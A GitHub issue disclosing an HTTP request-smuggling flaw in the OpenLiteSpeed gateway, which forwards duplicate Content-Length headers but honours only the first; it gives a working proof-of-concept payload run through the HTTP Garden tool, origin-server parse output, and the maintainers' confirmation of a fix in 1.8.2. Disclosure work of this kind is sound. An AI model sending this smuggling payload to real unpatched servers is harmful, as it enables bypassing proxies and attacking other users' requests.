Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

OLS is vulnerable to request smuggling via requests with multiple Content-Length headers #395

Closed
kenballus opened this issue Jun 26, 2024 · 2 comments

Comments

@kenballus
Copy link

Summary

When OLS is acting as a gateway, and receives a request with two Content-Length headers, it forwards both, but interprets only the first.

Thus, when the origin server behind the OLS gateway prioritizes the second Content-Length header over the first, request smuggling can occur.

How OLS's behavior violates the RFC

From RFC 7230, section 3.3.3:

If a message is received without Transfer-Encoding and with
either multiple Content-Length header fields having differing
field-values or a single Content-Length header field having an
invalid value, then the message framing is invalid and the
recipient MUST treat it as an unrecoverable error. If this is a
request message, the server MUST respond with a 400 (Bad Request)
status code and then close the connection.

Request Smuggling PoC

This attack is easily demonstrated within the HTTP Garden.

  1. Set up the HTTP Garden.
  2. Start the REPL:
rlwrap python3 ./tools/repl.py
  1. Run the following commands:
garden> # Set the payload
garden> payload 'POST / HTTP/1.1\r\nHost: whatever\r\nContent-Length: 34\r\nContent-Length:0\r\n\r\nGET / HTTP/1.1\r\nHost: whatever\r\n\r\n'
garden> # Run it through the OLS gateway
garden> transduce openlitespeed_proxy
[2]: 'POST / HTTP/1.1\r\nHost: whatever\r\nContent-Length: 34\r\nContent-Length:0\r\n\r\nGET / HTTP/1.1\r\nHost: whatever\r\n\r\n'
    ⬇️ openlitespeed_proxy
[3]: 'POST / HTTP/1.1\r\nHost: whatever\r\nContent-Length: 34\r\nContent-Length:0\r\nX-Forwarded-Host: whatever\r\nAccept-Encoding: gzip\r\nX-Forwarded-For: 192.168.48.1\r\n\r\nGET / HTTP/1.1\r\nHost: whatever\r\n\r\n'
garden> # Send the result to all of the origin servers
garden> fanout
  1. Observe that some origin servers see two requests in the gateway's output:
...
cheroot: [
    HTTPRequest(
        method=b'POST', uri=b'/', version=b'1.1',
        headers=[
            (b'accept_encoding', b'gzip'),
            (b'content_length', b'0'),
            (b'host', b'whatever'),
            (b'x_forwarded_for', b'192.168.48.1'),
            (b'x_forwarded_host', b'whatever'),
        ],
        body=b'',
    ),
    HTTPRequest(
        method=b'GET', uri=b'/', version=b'1.1',
        headers=[
            (b'host', b'whatever'),
        ],
        body=b'',
    ),
]
...
libsoup: [
    HTTPRequest(
        method=b'POST', uri=b'/', version=b'1.1',
        headers=[
            (b'accept-encoding', b'gzip'),
            (b'content-length', b'34'),
            (b'content-length', b'0'),
            (b'host', b'whatever'),
            (b'x-forwarded-for', b'192.168.48.1'),
            (b'x-forwarded-host', b'whatever'),
        ],
        body=b'',
    ),
    HTTPRequest(
        method=b'GET', uri=b'/', version=b'1.1',
        headers=[
            (b'host', b'whatever'),
        ],
        body=b'',
    ),
]
...
uhttpd: [
    HTTPRequest(
        method=b'POST', uri=b'/', version=b'1.1',
        headers=[
            (b'accept-encoding', b'gzip'),
            (b'content-length', b'0'),
            (b'host', b'whatever'),
            (b'x-forwarded-for', b'192.168.48.1'),
            (b'x-forwarded-host', b'whatever'),
        ],
        body=b'',
    ),
    HTTPRequest(
        method=b'GET', uri=b'/', version=b'1.1',
        headers=[
            (b'host', b'whatever'),
        ],
        body=b'',
    ),
]
...
@litespeedtech
Copy link
Owner

should be fixed in 1.8.2

@kenballus
Copy link
Author

Confirmed fixed in 1.8.2

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants